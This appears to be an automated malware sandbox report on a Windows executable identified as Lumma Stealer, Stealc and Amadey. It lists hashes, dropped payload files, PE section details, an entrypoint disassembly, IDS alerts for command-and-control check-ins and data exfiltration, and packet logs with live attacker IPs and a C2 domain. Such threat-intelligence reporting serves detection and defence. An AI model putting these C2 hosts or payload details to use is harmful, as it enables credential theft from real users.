	https://iwr.soundestlink.com/ce/c/676002d8893d08b60d0548a9/67600e317a8dc234ff2c418f/67600e4e1033e9cdafe04236?signature=d71ee5ef2af4c3905acd300a8f3b595d0164d440b8def5e7254a839fa6b579a9	Get hash	malicious	Unknown	Browse	172.64.145.78
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	https://simatantincendi.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://business.livechathelpsuite.com	Get hash	malicious	Unknown	Browse	172.67.163.209
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	xbBhIKxITG.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	185.215.113.43
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	xbBhIKxITG.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	54FApnc7eR.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	104.21.50.161
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	104.21.50.161
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	104.21.50.161
	h.html	Get hash	malicious	Unknown	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Download File

Process:	C:\Users\user\Desktop\qvkwOs4JfC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2776576
Entropy (8bit):	6.486965983209839
Encrypted:	false
SSDEEP:	49152:ivUY1xSovjUjEK/gbc/3axvGp+1X/I97VJArrI/fKe:QUY7fjUgK/5/GvYIQpAI3
MD5:	F86C08A75747002A2A7CD3FBC5FE05C8
SHA1:	7B9776338FE3A06350C16BC62E927F5BA6490723
SHA-256:	5B4D3426CD705909F38F2A136E2A5A1E593FD66A68C01B0E715F533D20A4218A
SHA-512:	2B8AB4CB0D7ABA429F5835462A1C16DD4D0BC1A13C40C5DDF27A900295CA3C168DBA79B8AF97B26F80017755514E43F71120F1C309DECE1FABD41D9147E63790
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+......R+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rogrptwg.........)..:..............@...cpllbfsp. ..........8.............@....taggant.@......"...<.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe

Download File

Process:	C:\Users\user\Desktop\qvkwOs4JfC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1796608
Entropy (8bit):	7.946069369366298
Encrypted:	false
SSDEEP:	49152:PlBsiXXQPpeAy1tLPyRG2G6qCkBfxeFaE9Pd:PlBpAYASdPyRGGkBfoFaE9P
MD5:	E33DC32F04E77BC26482BACCB87B9795
SHA1:	E4A57EAD636BD006CECB7D9EC5E9AA36432E1372
SHA-256:	B2ECBACAF99DB2C41066C1914B8B3116B5E25683E6552802A24B08D00D563431
SHA-512:	13D735438D20B0D352719C6E32584ED6ABFAAD6092FF9124393B3F1C6D6AA4314D0CE27C16CC654583973369572EC823423BE9BE04E34C50184976C0A35C96CF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg............................ i...........@..........................Pi......:....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .....$......\|..............@...szaazyea.....@O......~..............@...jswuitsr......i......D..............@....taggant.0... i.."...H..............@...................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948267891293091
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	qvkwOs4JfC.exe
File size:	1'856'000 bytes
MD5:	bfc8fbb265274e407ebb9b2be9b6630f
SHA1:	0aee8ad1ee7bc01cb6994f8de0b714a2ad3a64c2
SHA256:	3c6116a035069356a08c478ec90a8be22a0ba2e8c749dd4d33f7cad2a3ee86ac
SHA512:	e3862fc31f091ba641d8262e0ce0fca53482ed4870a206b1763ae81e9a7ebe507634d531e0a955c7dbfa67f17c546ad5215dadc91fbbc787673575938b8777a0
SSDEEP:	49152:2doxdBUtSkPt5A+cjDLeNETVM8xFVJ1x2c9LJ:2CTBUtSEA7jDCNEa8/VJ3X
TLSH:	D3853345F3A78037DEC1CE716B8F87146AFA64048AB41FAF23A824D18E9B7B724F1515
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................I.....P.....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x89a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0ACC91FB3Ah
wrmsr
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F0ACC921B35h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	0e37b44e0235587aba29083e6a05619f	False	0.9974983946917808	data	7.987316406069757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a8000	0x200	bd9f925de621bba98f0d7070e17fb9ad	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vpnrtiyv	0x2fc000	0x19d000	0x19cc00	07262dcba32b539aadeb436bd772a895	False	0.9949687216081163	data	7.953573816428867	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xxtlfwav	0x499000	0x1000	0x400	d893c40be97ed2640d0df8990ec87306	False	0.828125	data	6.438029983472516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49a000	0x3000	0x2200	9417e09df29f414e6f54301fbdadca81	False	0.04940257352941176	DOS executable (COM)	0.5774332465905331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T15:25:08.045224+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.5	55753	1.1.1.1	53	UDP
2024-12-16T15:25:09.639143+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49704	104.21.50.161	443	TCP
2024-12-16T15:25:09.639143+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.50.161	443	TCP
2024-12-16T15:25:10.432823+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.50.161	443	TCP
2024-12-16T15:25:10.432823+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.50.161	443	TCP
2024-12-16T15:25:11.664431+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49705	104.21.50.161	443	TCP
2024-12-16T15:25:11.664431+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.50.161	443	TCP
2024-12-16T15:25:12.425139+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.50.161	443	TCP
2024-12-16T15:25:12.425139+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.50.161	443	TCP
2024-12-16T15:25:14.035418+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49706	104.21.50.161	443	TCP
2024-12-16T15:25:14.035418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.50.161	443	TCP
2024-12-16T15:25:16.189579+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49707	104.21.50.161	443	TCP
2024-12-16T15:25:16.189579+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.50.161	443	TCP
2024-12-16T15:25:18.858747+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49708	104.21.50.161	443	TCP
2024-12-16T15:25:18.858747+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.50.161	443	TCP
2024-12-16T15:25:21.713405+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49710	104.21.50.161	443	TCP
2024-12-16T15:25:21.713405+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	104.21.50.161	443	TCP
2024-12-16T15:25:22.521983+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49710	104.21.50.161	443	TCP
2024-12-16T15:25:24.653579+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49723	104.21.50.161	443	TCP
2024-12-16T15:25:24.653579+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49723	104.21.50.161	443	TCP
2024-12-16T15:25:24.721465+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49723	104.21.50.161	443	TCP
2024-12-16T15:25:29.262989+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49735	104.21.50.161	443	TCP
2024-12-16T15:25:29.262989+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49735	104.21.50.161	443	TCP
2024-12-16T15:25:30.106328+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49735	104.21.50.161	443	TCP
2024-12-16T15:25:31.578302+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49742	185.215.113.16	80	TCP
2024-12-16T15:25:44.411386+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49766	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:25:08.366842031 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:08.366883993 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:08.366982937 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:08.413620949 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:08.413649082 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:09.638926029 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:09.639142990 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:09.643843889 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:09.643852949 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:09.644253016 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:09.695333958 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:09.706662893 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:09.711174011 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:09.711252928 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:10.432879925 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:10.433137894 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:10.433233976 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:10.434961081 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:10.434961081 CET	49704	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:10.434983015 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:10.434993029 CET	443	49704	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:10.444164991 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:10.444199085 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:10.444282055 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:10.444534063 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:10.444546938 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:11.664366007 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:11.664431095 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:11.666414022 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:11.666419983 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:11.666749954 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:11.668554068 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:11.668581963 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:11.668632030 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.425193071 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.425329924 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.425400019 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.425414085 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.425529003 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.425579071 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.425585032 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.425684929 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.425734043 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.425739050 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.433033943 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.433109999 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.433115959 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.476530075 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.476540089 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.523403883 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.544846058 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.549076080 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.549173117 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.549180984 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.601541042 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.616575956 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.620392084 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.620456934 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.620464087 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.620605946 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.620671034 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.620749950 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.620762110 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.620788097 CET	49705	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.620791912 CET	443	49705	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.781265020 CET	49706	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.781321049 CET	443	49706	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:12.781420946 CET	49706	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.781786919 CET	49706	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:12.781802893 CET	443	49706	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:14.035341978 CET	443	49706	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:14.035418034 CET	49706	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:14.037097931 CET	49706	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:14.037112951 CET	443	49706	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:14.037475109 CET	443	49706	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:14.038788080 CET	49706	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:14.038942099 CET	49706	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:14.038978100 CET	443	49706	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:14.854449034 CET	443	49706	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:14.854729891 CET	443	49706	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:14.854830980 CET	49706	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:14.854867935 CET	49706	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:14.854895115 CET	443	49706	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:14.971231937 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:14.971277952 CET	443	49707	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:14.971380949 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:14.972404957 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:14.972420931 CET	443	49707	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:16.189496040 CET	443	49707	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:16.189579010 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:16.191992044 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:16.192002058 CET	443	49707	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:16.192333937 CET	443	49707	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:16.194070101 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:16.194322109 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:16.194348097 CET	443	49707	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:16.194411039 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:16.235379934 CET	443	49707	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:17.330998898 CET	443	49707	104.21.50.161	192.168.2.5
